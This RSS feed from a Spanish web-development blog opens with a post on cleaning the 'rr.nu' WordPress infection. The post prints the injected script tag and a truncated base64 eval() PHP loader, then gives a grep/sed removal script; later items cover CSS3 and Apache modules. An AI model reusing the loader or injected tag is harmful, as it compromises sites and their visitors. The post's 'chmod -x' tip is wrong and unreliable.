<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pedro Ventura | Programación Web PHP, Tutoriales y Manuales de Cakephp, Sistemas linux, mejoras SEO, Wordpress, Proyectos personales y freelance </title>
	<atom:link href="http://www.pedroventura.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pedroventura.com</link>
	<description>Portfolio Profesional y Blog</description>
	<lastBuildDate>Mon, 07 May 2012 12:01:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Como eliminar el hack o malware de rr.nu de WordPress</title>
		<link>http://www.pedroventura.com/blog_programacion/wordpress/como-eliminar-el-hack-o-malware-de-rr-nu-de-wordpress/</link>
		<comments>http://www.pedroventura.com/blog_programacion/wordpress/como-eliminar-el-hack-o-malware-de-rr-nu-de-wordpress/#comments</comments>
		<pubDate>Mon, 07 May 2012 12:01:29 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3659</guid>
		<description><![CDATA[Desde hace un tiempo que se me había infectado todo el blog, basado en WordPress, con una especie de malware el cual escribía un código javascript antes del cierre de body Esto lo que hacía era lanzar una redirección a una página potencialmente peligrosa con lo que los navegadores de Google Chrome o Firefox (no he llegado a probar con IE) muestran una advertencia y ningún visitante podían ver inicialmente mis artículos. Pero la base de que se escriba esta llamada javascript en el código HTML, viene porque todos los archivos, o al menos gran parte, habían sido &#8220;infectados&#8221; con un php injection el cual escribe al inicio de todos los archivos php un código similar al siguiente: Al principio pensé que serían unos cuantos, pero poco después descubrí que fueron practicamente todos los archivos dentro de la estructura de wordpress, todos los archivos de administración, todos los archivos de themes, plugins, etc&#8230; todo tenía ese código php con el eval y el base64_decode. SOLUCIÓN Lo primero que he hecho, sin duda, es cambiar todas la contraseñas, tanto la del administrador de WordPress como la del FTP del servidor y accesso de base de datos. No he llegado a hacer [...]
Related posts:<ol>
<li><a href='http://www.pedroventura.com/blog_programacion/wordpress/eliminar-el-nombre-de-admin-en-los-estilos-de-los-comentarios-en-wordpress/' rel='bookmark' title='Eliminar el nombre de admin en los estilos de los comentarios en WordPress'>Eliminar el nombre de admin en los estilos de los comentarios en WordPress</a> <small>Por defecto, cuando el administrador del blog deja un comentario,...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/wordpress/seguridad-en-wordpress-elimina-el-meta-con-la-version-de-wordpress/' rel='bookmark' title='Seguridad en WordPress, elimina el meta con la version de wordpress'>Seguridad en WordPress, elimina el meta con la version de wordpress</a> <small>En la mayoría de temas de WordPress en la sección...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/wordpress/consejos-basicos-de-seguridad-en-wordpress/' rel='bookmark' title='Consejos básicos de seguridad en WordPress'>Consejos básicos de seguridad en WordPress</a> <small>Tras el grave hackeo que he sufrido en semana santa...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/linux/como-vaciar-o-eliminar-el-contenido-de-un-archivo-existente-en-unix-linux/' rel='bookmark' title='Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux'>Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux</a> <small>Si quieres eliminar el contenido que un archivo UNIX, puedes...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/wordpress/leer-pdf-online-en-wordpress-mediante-google-docs/' rel='bookmark' title='Leer pdf online en WordPress mediante Google Docs'>Leer pdf online en WordPress mediante Google Docs</a> <small>Esta es definitivamente la manera más fácil de visualizar un...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Desde hace un tiempo que se me había infectado todo el blog, basado en WordPress, con una especie de malware el cual escribía un código javascript antes del cierre de body</p>
<pre class="brush: plain; title: ; notranslate">
&lt;script type=&quot;text/javascript&quot; src=&quot;xxxxx.rr.nu&quot;&gt;&lt;/script&gt;
</pre>
<p>Esto lo que hacía era lanzar una redirección a una página potencialmente peligrosa con lo que los navegadores de Google Chrome o Firefox (no he llegado a probar con IE) muestran una advertencia y ningún visitante podían ver inicialmente mis artículos.</p>
<p>Pero la base de que se escriba esta llamada javascript en el código HTML, viene porque todos los archivos, o al menos gran parte, habían sido &#8220;infectados&#8221; con un php injection el cual escribe al inicio de todos los archivos php un código similar al siguiente:</p>
<pre class="brush: php; title: ; notranslate">
 &lt;?php /**/ eval(base64_decode(&quot;aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz
 ZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGl
 vbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD
 0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJ
 GNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0
 dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWx
 zZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbn
 RlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7a
 WYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRy
 eWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR
 1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLC
 R1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b
3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwg...
</pre>
<p>Al principio pensé que serían unos cuantos, pero poco después descubrí que fueron practicamente todos los archivos dentro de la estructura de wordpress, todos los archivos de administración, todos los archivos de themes, plugins, etc&#8230; todo tenía ese código php con el eval y el base64_decode.</p>
<p><strong>SOLUCIÓN</strong></p>
<ol>
<li>Lo primero que he hecho, sin duda, es cambiar todas la contraseñas, tanto la del administrador de WordPress como la del FTP del servidor y accesso de base de datos. No he llegado a hacer un decode del contenido que había en los archivos &#8220;infectados&#8221;, y no en todos era el mismo contenido codificado, por lo que a grandes males, grandes remedios. Cambiar todas las contraseñas, por si acaso.</li>
<li>Haz una copia de seguridad de lo que hay, por si el script de limpieza borra algo más de la cuenta.</li>
<li>Descarga el script de limpieza.</li>
<img alt="zip" title="zip" class="download-icon" src="http://www.pedroventura.com/wp-content/plugins/download-monitor/img/filetype_icons/document-zipper.png" /><br /><a href="http://www.pedroventura.com/wp-content/plugins/download-monitor/download.php?id=27" title="Descargado 2 veces" rel="nofollow">Descargar Script eliminar rr.nu.zip</a> - Descargado 2 veces
<li>En caso de que no te funcione la descarga o no lo quieras descargar, puedes copiar el código del shell script y pegarlo en un nuevo archivo vacío. Después guárdalo como remove-rr-nu-virus.sh o como quieras llamarlo.</li>
<pre class="brush: plain; title: ; notranslate">
#!/bin/bash
for file in $(grep -Hlr &quot;aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZX&quot; .); do sed -e &quot;s/));?&gt;/));?&gt;\n/g&quot; $file | sed -e &quot;/aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZX/d&quot; &gt; $file.temp; mv $file.temp $file; echo Fixed infected file $file; done;
</pre>
<li>Éste shell script colócalo en la misma ruta de la carpeta principal de WordPress, y ejecútalo con: <strong>./remove-rr-nu-virus.sh</strong> o como lo hayas llamado.</li>
<li>Si te da problemas de permisos, ejecuta lo siguiente: chmod -x remove-rr-nu-virus.sh</li>
</ol>
<p>Espero que os sea de ayuda, el artículo original es el siguiente: <a href="http://www.spkaa.com/3-step-fix-for-your-rr-nu-wordpress-virus-outbreak" rel="nofollow" target="_blank">http://www.spkaa.com/3-step-fix-for-your-rr-nu-wordpress-virus-outbreak</a>. Yo con esto he conseguido arreglar por completo el hackeo que me habían hecho y volver tener el blog funcionando al 100% sin ningún archivo &#8220;infectado&#8221; y sin que ningún lector sea redirigido a webs peligrosas, malditos hackeos!!</p>
<p>Otras mejoras para securizar tu blog es cambiar los permisos de los archivos a como deben estar de manera correcta, para evitar que usuarios no deseados puedan editar los archivos y cambiar su contenido.</p>
<p><strong>Cambiar permisos de los directores en WordPress</strong></p>
<pre class="brush: plain; title: ; notranslate">
find /path/a/tu/wordpress/ -type d -exec chmod 755 {} \;
</pre>
<p><strong>Cambiar permisos de los ficheros en WordPress</strong></p>
<pre class="brush: plain; title: ; notranslate">
find /path/a/tu/wordpress/ -type f -exec chmod 644 {} \;
</pre>
<p>Otro artículo que habla sobre este hackeo <a href="http://danhilltech.tumblr.com/post/18085864093/if-you-get-eval-base64-hacked-on-wordpress-dreamhost" target="_blank" rel="nofollow">http://danhilltech.tumblr.com/post/18085864093/if-you-get-eval-base64-hacked-on-wordpress-dreamhost</a></p>
<p class="listadoTagRelacionados">Tags de búsquedas:</p><p class="listadoTagRelacionados"> codigos html hack wordpress 2012</p><p>Related posts:<ol>
<li><a href='http://www.pedroventura.com/blog_programacion/wordpress/eliminar-el-nombre-de-admin-en-los-estilos-de-los-comentarios-en-wordpress/' rel='bookmark' title='Eliminar el nombre de admin en los estilos de los comentarios en WordPress'>Eliminar el nombre de admin en los estilos de los comentarios en WordPress</a> <small>Por defecto, cuando el administrador del blog deja un comentario,...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/wordpress/seguridad-en-wordpress-elimina-el-meta-con-la-version-de-wordpress/' rel='bookmark' title='Seguridad en WordPress, elimina el meta con la version de wordpress'>Seguridad en WordPress, elimina el meta con la version de wordpress</a> <small>En la mayoría de temas de WordPress en la sección...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/wordpress/consejos-basicos-de-seguridad-en-wordpress/' rel='bookmark' title='Consejos básicos de seguridad en WordPress'>Consejos básicos de seguridad en WordPress</a> <small>Tras el grave hackeo que he sufrido en semana santa...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/linux/como-vaciar-o-eliminar-el-contenido-de-un-archivo-existente-en-unix-linux/' rel='bookmark' title='Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux'>Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux</a> <small>Si quieres eliminar el contenido que un archivo UNIX, puedes...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/wordpress/leer-pdf-online-en-wordpress-mediante-google-docs/' rel='bookmark' title='Leer pdf online en WordPress mediante Google Docs'>Leer pdf online en WordPress mediante Google Docs</a> <small>Esta es definitivamente la manera más fácil de visualizar un...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/wordpress/como-eliminar-el-hack-o-malware-de-rr-nu-de-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selectores de CSS 3</title>
		<link>http://www.pedroventura.com/blog_programacion/desarrollo-web/selectores-de-css-3/</link>
		<comments>http://www.pedroventura.com/blog_programacion/desarrollo-web/selectores-de-css-3/#comments</comments>
		<pubDate>Fri, 24 Feb 2012 10:00:06 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[Desarrollo Web]]></category>
		<category><![CDATA[CSS3]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3618</guid>
		<description><![CDATA[CSS 3 incluye todos los selectores de CSS 2.1 y añade otras decenas de  selectores, pseudo-clases y pseudo-elementos. La lista provisional de novedades y su explicación detallada se puede encontrar en el módulo de selectores de CSS 3 (http://www.w3.org/TR/css3-selectors/) . En primer lugar, CSS 3 añade tres nuevos selectores de atributos: elemento[atributo^="valor"], selecciona todos los elementos que disponen de ese atributo y cuyo valor comienza exactamente por la cadena de texto indicada. elemento[atributo$="valor"], selecciona todos los elementos que disponen de ese atributo y cuyo valor termina exactamente por la cadena de texto indicada. elemento[atributo*="valor"], selecciona todos los elementos que disponen de ese atributo y cuyo valor contiene la cadena de texto indicada. De esta forma, se pueden crear reglas CSS tan avanzadas como las siguientes: /* Selecciona todos los enlaces que apuntan a una dirección de correo electrónico */ /* Selecciona todos los enlaces que apuntan a una página HTML */ /* Selecciona todos los títulos h1 cuyo atributo title contenga la palabra &#8220;capítulo&#8221; */ Otro de los nuevos selectores de CSS 3 es el &#8220;selector general de elementos hermanos&#8221;, que generaliza el selector adyacente de CSS 2.1. Su sintaxis es elemento1 ~ elemento2 y selecciona el elemento2 que es [...]
No related posts.]]></description>
			<content:encoded><![CDATA[<p>CSS 3 incluye todos los selectores de CSS 2.1 y añade otras decenas de  selectores, pseudo-clases y pseudo-elementos. La lista provisional de novedades y su explicación detallada se puede encontrar en el módulo de selectores de CSS 3 (<a href="http://www.w3.org/TR/css3-selectors/" rel="nofollow" target="_blank">http://www.w3.org/TR/css3-selectors/</a>) .<br />
En primer lugar, CSS 3 añade tres nuevos selectores de atributos:</p>
<ul>
<li>elemento[atributo^="valor"], selecciona todos los elementos que disponen de ese atributo y cuyo valor comienza exactamente por la cadena de texto indicada.</li>
<li>elemento[atributo$="valor"], selecciona todos los elementos que disponen de ese atributo y cuyo valor termina exactamente por la cadena de texto indicada.</li>
<li>elemento[atributo*="valor"], selecciona todos los elementos que disponen de ese atributo y cuyo valor contiene la cadena de texto indicada.</li>
</ul>
<p>De esta forma, se pueden crear reglas CSS tan avanzadas como las siguientes:</p>
<blockquote>
<ul>
<li>/* Selecciona todos los enlaces que apuntan a una dirección de correo electrónico */
<pre class="brush: plain; title: ; notranslate">a[href^=&quot;mailto:&quot;] { ... }</pre>
</li>
<li>/* Selecciona todos los enlaces que apuntan a una página HTML */
<pre class="brush: plain; title: ; notranslate"> a[href$=&quot;.html&quot;] { ... }</pre>
</li>
<li>/* Selecciona todos los títulos h1 cuyo atributo title contenga la palabra &#8220;capítulo&#8221; */
<pre class="brush: plain; title: ; notranslate"> h1[title*=&quot;capítulo&quot;] { ... }</pre>
</li>
</ul>
</blockquote>
<p>Otro de los nuevos selectores de CSS 3 es el &#8220;selector general de elementos hermanos&#8221;, que generaliza el selector adyacente de CSS 2.1. Su sintaxis es elemento1 ~ elemento2 y selecciona el elemento2 que es hermano de elemento1 y se encuentra detrás en el código HTML. En el selector adyacente la condición adicional era que los dos elementos debían estar uno detrás de otro en el código HTML, mientras que ahora la única condición es que uno esté detrás de otro.</p>
<p>Si se considera el siguiente ejemplo:</p>
<pre class="brush: plain; title: ; notranslate">

h1 + h2 { ... } /* selector adyacente */
h1 ~ h2 { ... } /* selector general de hermanos */
&lt;h1&gt;...&lt;/h1&gt;
&lt;h2&gt;...&lt;/h2&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;div&gt;
&lt;h2&gt;...&lt;/h2&gt;
&lt;/div&gt;
&lt;h2&gt;...&lt;/h2&gt;
</pre>
<p>El primer selector (h1 + h2) sólo selecciona el primer elemento &lt;h2&gt; de la página, ya que es el único que cumple que es hermano de &lt;h1&gt; y se encuentra justo detrás en el código HTML. Por su parte, el segundo selector (h1 ~ h2) selecciona todos los elementos &lt;h2&gt; de la página salvo el segundo. Aunque el segundo &lt;h2&gt; se encuentra detrás de &lt;h1&gt; en el código HTML, no son elementos hermanos porque no tienen el mismo elemento padre.</p>
<p>Los pseudo-elementos de CSS 2.1 se mantienen en CSS 3, pero cambia su sintaxis y ahora se utilizan :: en vez de : delante del nombre de cada pseudo-elemento:</p>
<ul>
<li>::first-line, selecciona la primera línea del texto de un elemento.</li>
<li>::first-letter, selecciona la primera letra del texto de un elemento.</li>
<li>::before, selecciona la parte anterior al contenido de un elemento para insertar nuevo contenido generado.</li>
<li>::after, selecciona la parte posterior al contenido de un elemento para insertar nuevo contenido generado.</li>
</ul>
<p>CSS 3 añade además un nuevo pseudo-elemento:</p>
<ul>
<li>::selecion, selecciona el texto que ha seleccionado un usuario con su ratón o teclado.</li>
</ul>
<p>Las mayores novedades de CSS 3 se producen en las pseudo-clases, ya que se añaden 12 nuevas, entre las cuales se encuentran:</p>
<ul>
<li>elemento:nth-child(numero), selecciona el elemento indicado pero con la condición de que sea el hijo enésimo de su padre. Este selector es útil para seleccionar el segundo párrafo de un elemento, el quinto elemento de una lista, etc.</li>
<li>elemento:nth-last-child(numero), idéntico al anterior pero el número indicado se empieza a contar desde el último hijo.</li>
<li>elemento:empty, selecciona el elemento indicado pero con la condición de que no tenga ningún hijo. La condición implica que tampoco puede tener ningún contenido de texto.</li>
<li>elemento:first-child y elemento:last-child, seleccionan los elementos indicados pero con la condición de que sean respectivamente los primeros o últimos hijos de su elemento padre.</li>
<li>elemento:nth-of-type(numero), selecciona el elemento indicado pero con la condición de que sea el enésimo elemento hermano de ese tipo.</li>
<li>elemento:nth-last-of-type(numero), idéntico al anterior pero el número indicado se empieza a contar desde el último hijo.</li>
</ul>
<p>Algunas pseudo-clases como :nth-child(numero) permiten el uso de expresiones complejas para realizar selecciones avanzadas:</p>
<pre class="brush: plain; title: ; notranslate">

li:nth-child(2n+1) { ... } /* selecciona todos los elementos impares de una lista */
li:nth-child(2n) { ... } /* selecciona todos los elementos pares de una lista */
/* Las siguientes reglas alternan cuatro estilos diferentes para los párrafos */
p:nth-child(4n+1) { ... }
p:nth-child(4n+2) { ... }
p:nth-child(4n+3) { ... }
p:nth-child(4n+4) { ... }
</pre>
<p>Empleando la pseudo-clase :nth-of-type(numero) se pueden crear reglas CSS que alternen la posición de las imágenes en función de la posición de la imagen anterior:</p>
<pre class="brush: plain; title: ; notranslate">

img:nth-of-type(2n+1) { float: right; }
img:nth-of-type(2n) { float: left; }
</pre>
<p>Otro de los nuevos selectores que incluirá CSS 3 es :not(), que se puede utilizar para seleccionar todos los elementos que no cumplen con la condición de un selector:</p>
<pre class="brush: plain; title: ; notranslate">

:not(p) { ... } /* selecciona todos los elementos de la página que no sean párrafos */
:not(#especial) { ... } /* selecciona cualquier elemento cuyo atributo id no sea
&quot;especial&quot; */
</pre>
<p>Aunque todavía faltan muchos años hasta que la versión CSS 3 sustituya a la actual versión CSS 2.1, los navegadores que más se preocupan por los estándares (Opera, Safari y Firefox) incluyen soporte para varios o casi todos los selectores de CSS 3.<br />
Existe una herramienta llamada CSS Selectors test (<a href="http://www.css3.info/selectors-test/" rel="nofollo" target="_blank">http://www.css3.info/selectors-test/</a>) que permite comprobar los selectores que soporta el navegador con el que se hace la prueba.</p>
<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/desarrollo-web/selectores-de-css-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Principales módulos de Apache</title>
		<link>http://www.pedroventura.com/blog_programacion/sysadmin/principales-modulos-de-apache/</link>
		<comments>http://www.pedroventura.com/blog_programacion/sysadmin/principales-modulos-de-apache/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 16:49:27 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[apache]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3611</guid>
		<description><![CDATA[La arquitectura del servidor Apache es muy modular. El servidor consta de una sección core y diversos módulos que aportan mucha de la funcionalidad que podría considerarse básica para un servidor web. mod_access El módulo mod_access se utiliza en el control de acceso al servidor. mod_actions Se utiliza para ejecutar código CGI o una solicitud http mod_alias Se utiliza para convertir el sistema donde esta instalado el servidor en parte del servidor. mod_asis Este módulo se utiliza para enviar un documento del servidor sin cabeceras http. Resulta útil para redireccionar a un cliente sin necesidad de utilizar un scrip. mod_auth Se utiliza para confirmar la autenticación, mediante el nombre de los usuarios y sus contraseñas. mod_auth_anon Este módulo permite acceder de manera anónima a partes del servidor. Todos los usuarios pueden utilizar un identificador llamado “anonymus” para acceder a ciertas partes del sistema. mod_auth_db Cuando es necesario automatizar el proceso de autenticación, y no se pueden utilizar archivos DBM, pero si se pueden utilizar otros archivos, como por ejemplo los Berkeles DB, es preciso utilizar el módulo mod_auth_db mod_auth_dbm Como en el anterior caso, con los archivos de texto .htpasswd y .htaccess en procesos de alta velocidad, se puede ver [...]
No related posts.]]></description>
			<content:encoded><![CDATA[<p>La arquitectura del servidor Apache es muy modular. El servidor consta de una sección <em>core</em> y diversos módulos que aportan mucha de la funcionalidad que podría considerarse básica para un servidor web.</p>
<ul>
<li><strong>mod_access</strong><br />
El módulo mod_access se utiliza en el control de acceso al servidor.</li>
<li><strong>mod_actions</strong><br />
Se utiliza para ejecutar código CGI o una solicitud http</li>
<li><strong>mod_alias</strong><br />
Se utiliza para convertir el sistema donde esta instalado el servidor en parte del servidor.</li>
<li><strong>mod_asis</strong><br />
Este módulo se utiliza para enviar un documento del servidor sin cabeceras http. Resulta útil para redireccionar a un cliente sin necesidad de utilizar un scrip.</li>
<li><strong>mod_auth</strong><br />
Se utiliza para confirmar la autenticación, mediante el nombre de los usuarios y sus contraseñas.</li>
<li><strong>mod_auth_anon</strong><br />
Este módulo permite acceder de manera anónima a partes del servidor. Todos los usuarios pueden utilizar un identificador llamado “anonymus” para acceder a ciertas partes del sistema.</li>
<li><strong>mod_auth_db</strong><br />
Cuando es necesario automatizar el proceso de autenticación, y no se pueden utilizar archivos DBM, pero si se pueden utilizar otros archivos, como por ejemplo los Berkeles DB, es preciso utilizar el módulo mod_auth_db</li>
<li><strong>mod_auth_dbm</strong><br />
Como en el anterior caso, con los archivos de texto .htpasswd y .htaccess en procesos de alta velocidad, se puede ver afectado el rendimiento del servidor. Por lo tanto es necesario automatizar el proceso de autenticación, utilizando archivos DBM, es decir, archivos con contenido clave=valor, que mantienen una tabla indexada con todas las claves del archivo. Pueden utilizar también archivos GDBM, NDBM,SDMM y Berkeley DB.<strong></strong></li>
<li><strong>mod_auth_external</strong><br />
Este módulo se utiliza cuando nos vemos en la necesidad de utilizar un sistema de autenticación externo.<strong></strong></li>
<li><strong>mod_autoindex</strong><br />
Cuando un cliente hace una petición en un directorio, el servidor busca en el mismo un archivo con algún nombre de los indicados en la directiva DirectoryIndex. Esta es la función del módulo mod_autoindex.</li>
<li><strong>mod_cern_meta</strong><br />
Este módulo se encarga de la metainformación. Tiene que ver con las directrices MetaFiles, MetaDir y MetaSuffix.<strong></strong></li>
<li><strong>mod_cgi</strong><br />
Cuando compilamos Apache con este módulo, lo hacemos para poder usar programas CGI, así como su configuración.<strong></strong></li>
<li><strong>mod_digest</strong><br />
Se utiliza para poder utilizar la autenticación diges.<strong></strong></li>
<li><strong>mod_dir</strong><br />
Con este módulo, tenemos la posibilidad de no incluir al final de una solicitud la barra inclinada /. Es  decir, cuando escribimos www.pedroventura.com/contacto, el servidor lo convertirá a www.pedroventura.com/contacto/, donde buscará un nombre de archivo indicado en la directriz Director ;Index.<strong></strong></li>
<li><strong>mod_env</strong><br />
Permite el envío de variables de entorno a los script CGI o SSI.</li>
<li><strong>mod_expires</strong><br />
Este módulo se utiliza para indicar al cliente la cantidad de tiempo que dispone antes de que su solicitud pierda su validez, utilizando para ello las cabeceras http Expires.<strong></strong></li>
<li><strong>mod_headers</strong><br />
Nos permite manipular las cabeceras http mediante la directriz Header.<strong></strong></li>
<li><strong>mod_imap</strong><br />
Con este módulo, Apache permite la utilización de mapas de imágenes en los programas CGI.<strong></strong></li>
<li><strong>mod_include</strong><br />
Se utiliza para los documentos SSI con la directriz inlude, que permite insertar el texto de un fichero dentro de otro.<strong></strong></li>
<li><strong>mod_info</strong><br />
Con este módulo podemos visualizar a través de la red la información sobre la configuración y el estado del servidor.<strong></strong></li>
<li><strong>mod_log_agent</strong><br />
Apache dispone de módulo para registrar la información del agente de usuario en un archivo independiente.<strong></strong></li>
<li><strong>mod_log_config</strong><br />
Este módulo permite el registro de señales de peticiones recibidas por el servidor mod.<strong></strong></li>
<li><strong>mod_log_referer</strong><br />
Permite señalar documentos por parte de aquellos que han sido accedidos desde el servidor.</li>
<li><strong>mod_mime</strong><br />
Se utiliza para entregarle a los clientes metainformación sobre los documentos.</li>
<li><strong>mod_negotiation</strong><br />
Apache se hace cargo mediante éste módulo de la negociación de contenido. Esta consiste en la selección de una versión de documento que corresponda a la mejor de las posibilidades del cliente. Existen dos tipos de mecanismos: mapas de tipos y búsquedas multiviews.<strong></strong></li>
<li><strong>mod_setenvif</strong><br />
Este módulo se utiliza para crear variables de entorno personalizadas para ayudar a optimizar ciertas decisiones.<strong></strong></li>
<li><strong>mod_spelling</strong><br />
Permite controlar las solicitudes URL mal escritas. Admite errores de una letra procurando localizar el documento pedido.<strong></strong></li>
<li><strong>mod_unique_id</strong><br />
Módulo que se asegura que cada petición es única. Para ello utiliza la variable de entorno UNIQUE-ID.</li>
</ul>
<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/sysadmin/principales-modulos-de-apache/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Herramientas para ayudar y simplificar el desarrollo de CSS3</title>
		<link>http://www.pedroventura.com/blog_programacion/desarrollo-web/herramientas-para-ayudar-y-simplificar-el-desarrollo-de-css3/</link>
		<comments>http://www.pedroventura.com/blog_programacion/desarrollo-web/herramientas-para-ayudar-y-simplificar-el-desarrollo-de-css3/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 09:00:15 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[Desarrollo Web]]></category>
		<category><![CDATA[CSS3]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3416</guid>
		<description><![CDATA[CSS3 está llevando el desarrollo y diseño web a un nivel superior. En este artículo, he recopilado algunos ejemplos de técnicas de CSS3 que probablemente llegará a ser muy popular cuando CSS3 será totalmente compatible con la mayoría de los navegadores. Modernizr Modernizr is una librería JavaScript que te ayudará a integrar HTML5 y css3 en tu página web y que sea compatible con todos los navegadores posibles. Modernizr detecta el soporte para CSS3 y añade clases a los elementos de tu html, aportando compatibilidad con diferentes navegadores. Sin duda una librería que está siendo muy popular e integrada por empresas tan conocidas como twitter, Google o Microsoft, entre otros. Visitar: Modernizr CSS3 Please CSS3 Please otra site a tener en cuenta que te permite copiar y pegar muchas de las comunes declaraciones de CSS3. Tiene un interface donde puedes probar y &#8220;jugar&#8221; con nuevas funcionalidades de CSS3 como rotar un elemento, estirar, mover o escalar y puedes ver en el momento el código CSS3 que se va generando. Visitar: CSS3 Please CSS3 Guía de referencia Como no siempre es útil tener a mano una guía de referencia donde poder recordar las propiedades y sintaxis cuando no te acuerdes. guía [...]
No related posts.]]></description>
			<content:encoded><![CDATA[<p>CSS3 está llevando el desarrollo y diseño web a un nivel superior. En este artículo, he recopilado algunos ejemplos de técnicas de CSS3 que probablemente llegará a ser muy popular cuando CSS3 será totalmente compatible con la mayoría de los navegadores.</p>
<p><strong>Modernizr</strong></p>
<p>Modernizr is una librería JavaScript que te ayudará a integrar HTML5 y css3 en tu página web y que sea compatible con todos los navegadores posibles.</p>
<p>Modernizr detecta el soporte para CSS3 y añade clases a los elementos de tu html, aportando compatibilidad con diferentes navegadores.</p>
<p>Sin duda una librería que está siendo muy popular e integrada por empresas tan conocidas como twitter, Google o Microsoft, entre otros.</p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2012/02/css3-tools-6-300x191.png" alt="" title="css3-tools-6" width="300" height="191" class="aligncenter size-medium wp-image-3601" /></p>
<p>Visitar: <a href="http://www.modernizr.com/" title="Modernizr " target="_blank" rel="nofollow">Modernizr </a></p>
<p><strong>CSS3 Please</strong></p>
<p>CSS3 Please otra site a tener en cuenta que te permite copiar y pegar muchas de las comunes declaraciones de CSS3. Tiene un interface donde puedes probar y &#8220;jugar&#8221; con nuevas funcionalidades de CSS3 como rotar un elemento, estirar, mover o escalar y puedes ver en el momento el código CSS3 que se va generando.</p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2012/02/css3-tools-9-300x191.png" alt="" title="css3-tools-9" width="300" height="191" class="aligncenter size-medium wp-image-3602" /></p>
